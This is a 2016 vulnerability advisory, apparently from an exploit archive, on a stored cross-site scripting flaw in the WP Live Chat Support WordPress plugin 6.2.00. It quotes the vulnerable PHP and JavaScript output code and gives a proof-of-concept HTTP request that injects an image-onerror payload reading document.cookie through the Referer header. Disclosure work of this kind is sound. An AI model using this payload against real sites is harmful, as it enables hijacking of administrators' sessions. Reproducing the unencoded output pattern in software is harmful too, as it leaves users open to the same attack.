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WordPress Live Chat Support 6.2.00 Cross Site Scripting

WordPress Live Chat Support 6.2.00 Cross Site Scripting
Posted Jul 11, 2016
Authored by Han Sahin

WordPress Live Chat Support plugin version 6.2.00 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 9145a57994ede874ba32eef668b65779

WordPress Live Chat Support 6.2.00 Cross Site Scripting

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Persistent Cross-Site Scripting in WP Live Chat Support plugin
Han Sahin, July 2016

A persistent Cross-Site Scripting (XSS) vulnerability has been found in
the WP Live Chat Support plugin. By using this vulnerability an attacker
can supply malicious code on behalf of a logged on WordPress user in
order to perform a wide variety of actions, such as stealing victims'
session tokens or login credentials, performing arbitrary actions on
their behalf, and logging their keystrokes.

Tested versions
This issue was successfully tested on WP Live Chat Support WordPress
plugin version 6.2.00.

This issue has been fixed in version 6.2.02 of the WP Live Chat Support
plugin. The updated plugin can be downloaded from the following


The WP Live Chat Support plugin uses the Referer header to present the current page on which the chat is initiated to backend (wp-admin) chat users. However, the URL retrieved from the database isn't properly output encoded according to output context (JavaScript and HTML). As a result persistent Cross-Site Scripting is introduced.

'status' => '5',
'timestamp' => current_time('mysql'),
'name' => $name,
'email' => $email,
'session' => $session,
'ip' => maybe_serialize($user_data),
'url' => $_SERVER['HTTP_REFERER'],
'last_active_timestamp' => current_time('mysql'),
'other' => maybe_serialize($other),

The PHP code of the vulnerable output (HTML and JS context) is as follows:

echo " <span class='part1'>" . __("Chat initiated on:", "wplivechat") . "</span> <span class='part2'>" . $result->url . "</span>";

The PHP code for the page is as follows:

</span> <a href='"+v_browsing_url+"' target='_BLANK'>"+v_browsing+"</a><br /><span class='wplc-sub-item-header'>Email:</span> <a href='mailto:"+v_email+"' target='_BLANK'>"+v_email+"</a></span>";

The malicious code supplied by an attacker can be used to perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Stored Cross-Site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users. The victim (potentially even WP-admin) only has to view the wplivechat-menu page which generally is the first page when the plugin is opened.

http://<wordpress site>/wp-admin/admin.php?page=wplivechat-menu
Proof of concept

This vulnerability can be demonstrated by intercepting the wplc_start_chat action after filling in your name and e-mail and then changing the Referer header relative path to the Cross-Site Scripting payload.

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 117
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer:'"><img src=x onerror=alert(document.cookie)>/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,nl;q=0.6
Cookie: wplc_cid=1742; wplc_name=Guest; wplc_email=no%20email%20set; wplc_chat_status=5; iflychat_guest_id=1467535930we14g; iflychat_guest_session=320f0212654acf6216884952f5766c7b; iflychat_guest_name=Guest%20Norene; iflychat_key=undefined; iflychat_css=undefined; iflychat_time=1467535929896; wplc_hide=
Connection: close



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